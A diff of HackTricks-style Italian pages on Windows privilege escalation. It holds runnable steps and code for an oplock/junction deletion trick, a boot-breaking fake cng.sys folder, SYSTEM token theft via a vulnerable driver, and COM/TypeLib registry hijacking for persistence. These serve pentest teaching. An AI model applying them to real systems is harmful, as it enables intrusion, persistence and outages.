+2. Step 2: Posiziona un **oplock** su `file1.txt` - L'oplock **mette in pausa l'esecuzione** quando un processo privilegiato prova a eliminare `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Passo 3: Innescare il processo SYSTEM (es. `SilentCleanup`) -- Questo processo scansiona cartelle (es. `%TEMP%`) e tenta di eliminare il loro contenuto. -- Quando raggiunge `file1.txt`, l'**oplock si attiva** e cede il controllo al tuo callback. +3. Passo 3: Attivare il processo SYSTEM (ad es., `SilentCleanup`) +- Questo processo esegue la scansione delle cartelle (ad es., `%TEMP%`) e cerca di eliminare il loro contenuto. +- Quando raggiunge `file1.txt`, l'**oplock** si attiva e passa il controllo al tuo callback. -4. Passo 4: All'interno del callback dell'oplock – reindirizzare la cancellazione +4. Passo 4: All'interno del callback dell'oplock – reindirizza la cancellazione -- Opzione A: Spostare `file1.txt` altrove +- Opzione A: Sposta `file1.txt` altrove - Questo svuota `folder1` senza rompere l'oplock. -- Non eliminare `file1.txt` direttamente — ciò libererebbe l'oplock prematuramente. +- Non eliminare `file1.txt` direttamente — ciò rilascierebbe l'oplock prematuramente. -- Opzione B: Convertire `folder1` in una **junction**: +- Opzione B: Converti `folder1` in una **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1493,68 +1489,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Questo prende di mira lo stream interno di NTFS che memorizza i metadati della cartella — cancellarlo cancella la cartella. +> Questo prende di mira lo stream interno NTFS che memorizza i metadati delle cartelle — cancellandolo si cancella la cartella. -5. Passo 5: Rilascia l'oplock -- Il processo SYSTEM continua e tenta di cancellare `file1.txt`. -- Ma ora, a causa della junction + symlink, in realtà sta cancellando: +5. Passo 5: Rilascio dell'oplock +- Il processo SYSTEM continua e prova a cancellare `file1.txt`. +- Ma ora, a causa della junction + symlink, sta in realtà cancellando: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Risultato**: `C:\Config.Msi` viene eliminato da SYSTEM. -### Da Arbitrary Folder Create a Permanent DoS +### Da Arbitrary Folder Create a DoS Permanente -Sfrutta una primitiva che ti permette di **create an arbitrary folder as SYSTEM/admin** — anche se **non puoi scrivere file** o **impostare permessi deboli**. +Sfrutta una primitiva che ti permette di **creare una cartella arbitraria come SYSTEM/admin** — anche se **non puoi scrivere file** o **impostare permessi deboli**. Crea una **cartella** (non un file) con il nome di un **driver critico di Windows**, ad es.: ``` C:\Windows\System32\cng.sys ``` - Questo percorso corrisponde normalmente al driver in modalità kernel `cng.sys`. -- Se **lo crei preventivamente come cartella**, Windows non riesce a caricare il driver effettivo all'avvio. +- Se lo **pre-crei come cartella**, Windows non riesce a caricare il driver reale all'avvio. - Poi, Windows tenta di caricare `cng.sys` durante l'avvio. -- Vede la cartella, **non riesce a risolvere il driver effettivo**, e **va in crash o blocca l'avvio**. -- Non esistono **meccanismi di fallback**, né **procedure di recovery** senza intervento esterno (es. riparazione del boot o accesso al disco). +- Vede la cartella, **non riesce a risolvere il driver reale**, e **va in crash o interrompe l'avvio**. +- Non c'è **fallback**, e **nessun recupero** senza intervento esterno (es. riparazione dell'avvio o accesso al disco). -## **Da High Integrity a SYSTEM** +## **Da High Integrity a System** ### **Nuovo servizio** -Se stai già eseguendo un processo High Integrity, il **percorso verso SYSTEM** può essere facile semplicemente **creando ed eseguendo un nuovo servizio**: +Se stai già eseguendo un processo High Integrity, il **percorso verso SYSTEM** può essere semplice semplicemente **creando ed eseguendo un nuovo servizio**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Quando crei un service binary assicurati che sia un servizio valido o che il binary esegua le azioni necessarie abbastanza velocemente, perché verrà terminato dopo 20s se non è un servizio valido. +> Quando crei un service binary assicurati che sia un servizio valido o che il binario esegua le azioni necessarie abbastanza velocemente, altrimenti verrà terminato dopo 20s se non è un servizio valido. ### AlwaysInstallElevated -Da un processo High Integrity puoi provare a **abilitare le voci di registro AlwaysInstallElevated** e **installare** una reverse shell usando un wrapper _**.msi**_.\ -[Ulteriori informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto _.msi_ qui.](#alwaysinstallelevated) +From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Puoi** [**trovare il codice qui**](seimpersonate-from-high-to-system.md)**.** +**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Se possiedi quei token privileges (probabilmente li troverai in un processo già High Integrity), potrai **aprire quasi qualsiasi processo** (non i protected processes) con il privilegio SeDebug, **copiare il token** del processo e creare un **processo arbitrario con quel token**.\ -Di solito questa tecnica prevede di **selezionare un processo in esecuzione come SYSTEM con tutti i token privileges** (_sì, puoi trovare processi SYSTEM senza tutti i token privileges_).\ -**Puoi trovare un** [**esempio di codice che esegue la tecnica proposta qui**](sedebug-+-seimpersonate-copy-token.md)**.** +Se hai quei privilegi di token (probabilmente li troverai in un processo già High Integrity), sarai in grado di **aprire quasi qualsiasi processo** (non i protected processes) con il privilegio SeDebug, **copiare il token** del processo e creare un **processo arbitrario con quel token**.\ +Usando questa tecnica solitamente si **sceglie un processo in esecuzione come SYSTEM con tutti i token privileges** (_sì, puoi trovare processi SYSTEM senza tutti i token privileges_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Questa tecnica è usata da meterpreter per l'escalation in `getsystem`. La tecnica consiste nel **creare una pipe e poi creare/abusare un service per scrivere su quella pipe**. Poi, il **server** che ha creato la pipe usando il privilegio **`SeImpersonate`** sarà in grado di **impersonare il token** del client della pipe (il servizio) ottenendo privilegi SYSTEM.\ -Se vuoi [**saperne di più sulle name pipes dovresti leggere questo**](#named-pipe-client-impersonation).\ -Se vuoi leggere un esempio di [**come passare da high integrity a System usando name pipes dovresti leggere questo**](from-high-integrity-to-system-with-name-pipes.md). +This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Se riesci a **hijackare una dll** che viene **caricata** da un **processo** in esecuzione come **SYSTEM** potrai eseguire codice arbitrario con quei permessi. Pertanto Dll Hijacking è utile anche per questo tipo di escalation di privilegi e, inoltre, è molto **più facile da ottenere da un processo High Integrity** poiché avrà i **permessi di scrittura** sulle cartelle usate per caricare le dll.\ -**Puoi** [**approfondire Dll hijacking qui**](dll-hijacking/index.html)**.** +If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1566,36 +1562,36 @@ Se riesci a **hijackare una dll** che viene **caricata** da un **processo** in e **Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## Ulteriori informazioni [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## Strumenti utili **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifica misconfigurazioni e file sensibili (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Rilevato.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Verifica possibili misconfigurazioni e raccoglie informazioni (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica misconfigurazioni**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae le informazioni delle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Rilevato.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spruzza le password raccolte attraverso il dominio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno spoofer PowerShell ADIDNS/LLMNR/mDNS/NBNS e uno strumento man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione Windows base per privesc**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca vulnerabilità note per privesc (DEPRECATO in favore di Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Richiede diritti Admin)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla misconfigurazioni e file sensibili (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla alcune possibili misconfigurazioni e raccoglie informazioni (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Controlla misconfigurazioni**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spraya le password raccolte attraverso il dominio**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno strumento PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer e man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca note vulnerabilità di privesc (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Need Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca vulnerabilità note per privesc (deve essere compilato usando VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando misconfigurazioni (più uno strumento di raccolta info che di privesc) (deve essere compilato) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca note vulnerabilità di privesc (necessita di compilazione con VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando misconfigurazioni (più un tool di raccolta info che di privesc) (necessita compilazione) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato su GitHub)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Porting di PowerUp in C#**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port di PowerUp in C#**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla misconfigurazioni (eseguibile precompilato su GitHub). Non raccomandato. Non funziona bene su Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Verifica possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene su Win10. +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene su Win10. **Bat** @@ -1603,14 +1599,14 @@ Se riesci a **hijackare una dll** che viene **caricata** da un **processo** in e **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Legge l'output di **systeminfo** e suggerisce exploit funzionanti (python locale)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Legge l'output di **systeminfo** e suggerisce exploit funzionanti (python locale) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Devi compilare il progetto usando la versione corretta di .NET ([vedi questo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Per vedere la versione di .NET installata sull'host vittima puoi fare: +Devi compilare il progetto usando la versione corretta di .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Per vedere la versione di .NET installata sull'host vittima puoi fare: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md index cab7ab15a..4ffe5c8ec 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -4,35 +4,35 @@ ## Panoramica -Se un driver vulnerabile espone un IOCTL che dà a un attacker primitive di read e/o write arbitrarie nel kernel, l'elevazione a NT AUTHORITY\SYSTEM può spesso essere ottenuta rubando un access token di SYSTEM. La tecnica copia il Token pointer dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente. +Se un driver vulnerabile espone un IOCTL che fornisce a un attacker primitive di lettura e/o scrittura arbitrary nel kernel, elevare a NT AUTHORITY\SYSTEM può spesso essere ottenuto rubando un SYSTEM access token. La tecnica copia il puntatore Token dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente. Perché funziona: -- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF verso un oggetto token). +- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF a un oggetto token). - Il processo SYSTEM (PID 4) possiede un token con tutti i privilegi abilitati. -- Sostituire l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM fa sì che il processo corrente venga eseguito immediatamente come SYSTEM. +- Sostituendo l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM, il processo corrente verrà eseguito come SYSTEM immediatamente. -> Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (simboli) o usa costanti specifiche per la versione. Ricorda inoltre che EPROCESS.Token è un EX_FAST_REF (i 3 bit meno significativi sono flag del conteggio riferimenti). +> Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (symbols) o usa costanti specifiche per la versione. Ricorda anche che EPROCESS.Token è un EX_FAST_REF (i 3 bit bassi sono flag del reference count). ## Passaggi ad alto livello 1) Individua la base di ntoskrnl.exe e risolvi l'indirizzo di PsInitialSystemProcess. -- Da user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le basi dei driver caricati. +- Dalla modalità utente, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le base dei driver caricati. - Aggiungi l'offset di PsInitialSystemProcess (da symbols/reversing) alla base del kernel per ottenere il suo indirizzo. 2) Leggi il puntatore a PsInitialSystemProcess → questo è un puntatore kernel all'EPROCESS di SYSTEM. -3) Dall'EPROCESS di SYSTEM, leggi gli offset di UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata di strutture EPROCESS (ActiveProcessLinks.Flink/Blink) fino a trovare l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Mantieni entrambi: +3) Dall'EPROCESS SYSTEM, leggi gli offset UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata delle strutture EPROCESS (ActiveProcessLinks.Flink/Blink) finché non trovi l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Conserva entrambi: - EPROCESS_SYSTEM (per SYSTEM) - EPROCESS_SELF (per il processo corrente) 4) Leggi il valore del token di SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). -- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit meno significativi sono usati — mask 0xFFFFFFFFFFFFFFF8). -5) Option A (common): Conserva i 3 bit bassi dal tuo token corrente e agganciali al puntatore di SYSTEM per mantenere coerente il ref count incorporato. +- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit bassi sono usati — mask 0xFFFFFFFFFFFFFFF8). +5) Opzione A (comune): conserva i 3 bit bassi dal token corrente e incollali sul puntatore di SYSTEM per mantenere coerente il reference count incorporato. - Token_ME = *(EPROCESS_SELF + TokenOffset) - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) 6) Scrivi Token_NEW in (EPROCESS_SELF + TokenOffset) usando la tua primitive di kernel write. 7) Il processo corrente è ora SYSTEM. Facoltativamente avvia un nuovo cmd.exe o powershell.exe per confermare. -## Pseudocodice +## Pseudocode -Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface. +Di seguito uno scheletro che usa solo due IOCTL di un driver vulnerabile, uno per lettura kernel di 8 byte e uno per scrittura kernel di 8 byte. Sostituisci con l'interfaccia del tuo driver. ```c #include #include @@ -106,14 +106,14 @@ return 0; } ``` Note: -- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly. -- Mask: Su x64 il token è un EX_FAST_REF; i 3 bit bassi sono bit del conteggio riferimenti. Conservare i bit bassi originali del tuo token evita immediate inconsistenze del conteggio riferimenti. +- Offset: Usa WinDbg’s `dt nt!_EPROCESS` con i PDBs del target, o un runtime symbol loader, per ottenere offset corretti. Non hardcodare ciecamente. +- Mask: Su x64 il token è un EX_FAST_REF; i 3 bit meno significativi sono bit del conteggio dei riferimenti. Mantenere i bit bassi originali del tuo token evita inconsistenze immediate nel conteggio dei riferimenti. - Stability: Preferisci elevare il processo corrente; se elevi un helper di breve durata potresti perdere SYSTEM quando termina. ## Rilevamento e mitigazione -- Il caricamento di driver di terze parti non firmati o non affidabili che espongono potenti IOCTLs è la causa principale. -- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole Attack Surface Reduction possono impedire il caricamento di driver vulnerabili. -- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e token swaps. +- Il caricamento di driver di terze parti non firmati o non attendibili che espongono potenti IOCTLs è la causa principale. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole di Attack Surface Reduction possono impedire il caricamento di driver vulnerabili. +- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e gli scambi di token. ## Riferimenti - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 504fb3ee0..def6a38d0 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,21 +4,21 @@ ### Ricerca di componenti COM inesistenti -Poiché i valori di HKCU possono essere modificati dagli utenti, **COM Hijacking** può essere usato come **meccanismo persistente**. Usando `procmon` è facile trovare voci del registro COM cercate che non esistono, che un attaccante potrebbe creare per ottenere persistenza. Filtri: +Poiché i valori di HKCU possono essere modificati dagli utenti **COM Hijacking** potrebbe essere usato come **meccanismi persistenti**. Usando `procmon` è facile trovare voci di registro COM cercate che non esistono e che un attaccante potrebbe creare per ottenere persistenza. Filtri: -- **RegOpenKey** operations. +- operazioni **RegOpenKey**. - dove il _Result_ è **NAME NOT FOUND**. - e il _Path_ termina con **InprocServer32**. -Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. _Fai attenzione se decidi di impersonare un COM che viene caricato ogni pochi secondi, perché potrebbe essere eccessivo._ +Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. _Fai attenzione se decidi di impersonare un COM che viene caricato ogni pochi secondi in quanto potrebbe essere eccessivo._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" ``` -### Hijackable Task Scheduler COM components +### Componenti COM hijackable del Task Scheduler -Windows Tasks usano Custom Triggers per chiamare COM objects e, poiché vengono eseguiti tramite il Task Scheduler, è più facile prevedere quando verranno attivati. +Le Windows Tasks usano Custom Triggers per chiamare COM objects e, poiché vengono eseguite tramite il Task Scheduler, è più facile prevedere quando verranno attivate. 
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,7 +49,7 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-Controllando l'output puoi selezionarne uno che verrà eseguito, ad esempio, **ogni volta che un utente effettua il login**. +Verificando l'output puoi selezionarne una che verrà eseguita, ad esempio, **ogni volta che un utente effettua l'accesso**. Ora cercando il CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** e in HKLM e HKCU, di solito scoprirai che il valore non esiste in HKCU. ```bash @@ -72,32 +72,32 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -A quel punto, puoi semplicemente creare la voce HKCU e, ogni volta che l'utente effettua il login, il tuo backdoor verrà eseguito. +Then, puoi semplicemente creare la voce HKCU e ogni volta che l'utente effettua il login, il tuo backdoor verrà eseguito. --- ## COM TypeLib Hijacking (script: moniker persistence) -Type Libraries (TypeLib) definiscono le interfacce COM e vengono caricate tramite `LoadTypeLib()`. Quando un server COM viene istanziato, il sistema operativo può anche caricare il TypeLib associato consultando le chiavi di registro sotto `HKCR\TypeLib\{LIBID}`. Se il percorso del TypeLib viene sostituito con un **moniker**, ad es. `script:C:\...\evil.sct`, Windows eseguirà lo scriptlet quando il TypeLib verrà risolto – producendo una persistenza furtiva che si attiva quando vengono utilizzati componenti comuni. +Le Type Libraries (TypeLib) definiscono le interfacce COM e vengono caricate tramite `LoadTypeLib()`. Quando un COM server viene istanziato, il sistema operativo può anche caricare la TypeLib associata consultando le chiavi di registro sotto `HKCR\TypeLib\{LIBID}`. Se il percorso della TypeLib viene sostituito con un **moniker**, ad esempio `script:C:\...\evil.sct`, Windows eseguirà lo scriptlet quando la TypeLib viene risolta — generando una persistència stealth che si attiva quando componenti comuni vengono toccati. -Questo è stato osservato contro il Microsoft Web Browser control (spesso caricato da Internet Explorer, da app che incorporano WebBrowser e persino da `explorer.exe`). +Questo è stato osservato contro il Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`). -### Passaggi (PowerShell) +### Steps (PowerShell) -1) Identifica il TypeLib (LIBID) utilizzato da un CLSID ad alta frequenza. Esempio di CLSID spesso abusato dalle catene malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). +1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). ```powershell $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' $ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName "CLSID=$clsid LIBID=$libid VER=$ver" ``` -2) Puntare il percorso TypeLib per utente a uno scriptlet locale usando il moniker `script:` (non sono richiesti privilegi di amministratore): +2) Indirizzare il percorso TypeLib per utente a uno scriptlet locale usando il moniker `script:` (non sono necessari privilegi di amministratore): ```powershell $dest = 'C:\\ProgramData\\Udate_Srv.sct' New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" ``` -3) Posiziona un file JScript `.sct` minimo che rilancia il tuo payload principale (es. una `.lnk` usata dalla catena iniziale): +3) Drop un JScript `.sct` minimale che rilancia il tuo primary payload (ad es. un `.lnk` usato dalla initial chain): ```xml @@ -114,7 +114,7 @@ sh.Run(cmd, 0, false); ``` -4) Attivazione – l'apertura di IE, un'applicazione che incorpora il WebBrowser control, o anche la normale attività di Explorer caricherà la TypeLib ed eseguirà lo scriptlet, riarmando la tua chain al logon/reboot. +4) Attivazione – l'apertura di IE, un'applicazione che incorpora il WebBrowser control, o anche la normale attività di Explorer caricherà la TypeLib ed eseguirà lo scriptlet, riarmando la catena all'accesso/riavvio. Pulizia ```powershell @@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` Note -- Puoi applicare la stessa logica ad altri componenti COM di uso frequente; risolvi sempre prima il vero `LIBID` da `HKCR\CLSID\{CLSID}\TypeLib`. -- Su sistemi 64-bit puoi anche popolare la sottochiave `win64` per i consumatori a 64-bit. +- Puoi applicare la stessa logica ad altri componenti COM ad alta frequenza; risolvi sempre prima il vero `LIBID` da `HKCR\CLSID\{CLSID}\TypeLib`. +- Su sistemi a 64-bit puoi anche popolare la sottochiave `win64` per i client a 64-bit. ## Riferimenti diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index f55b599e2..825a61725 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,30 +1,30 @@ -# Named Pipe client impersonation +# Named Pipe Client Impersonation {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation is a local privilege escalation primitive che permette a un thread server di named-pipe di adottare il security context di un client che si connette a esso. In pratica, un attaccante che può eseguire codice con SeImpersonatePrivilege può costringere un client privilegiato (es. un servizio SYSTEM) a connettersi a una pipe controllata dall'attaccante, chiamare ImpersonateNamedPipeClient, duplicare il token risultante in un token primario e avviare un processo come il client (spesso NT AUTHORITY\SYSTEM). +Named Pipe client impersonation è una primitiva di local privilege escalation che permette a un thread server di named-pipe di adottare il contesto di sicurezza di un client che si connette. In pratica, un attaccante che può eseguire codice con SeImpersonatePrivilege può costringere un client privilegiato (es., un servizio SYSTEM) a connettersi a una pipe controllata dall'attaccante, chiamare ImpersonateNamedPipeClient, duplicare il token risultante in un primary token e avviare un processo come il client (spesso NT AUTHORITY\SYSTEM). -Questa pagina si concentra sulla tecnica di base. Per chain di exploit end-to-end che costringono SYSTEM a connettersi alla tua pipe, vedi le pagine della famiglia Potato riferite sotto. +Questa pagina si concentra sulla tecnica di base. Per catene di exploit end-to-end che costringono SYSTEM a connettersi alla tua pipe, vedi le pagine della Potato family referenziate più sotto. ## TL;DR -- Create a named pipe: \\.\pipe\ e attendi una connessione. -- Fai in modo che un componente privilegiato si connetta ad essa (spooler/DCOM/EFSRPC/etc.). +- Crea una named pipe: \\.\pipe\ e attendi una connessione. +- Fai in modo che un componente privilegiato si connetta (spooler/DCOM/EFSRPC/etc.). - Leggi almeno un messaggio dalla pipe, poi chiama 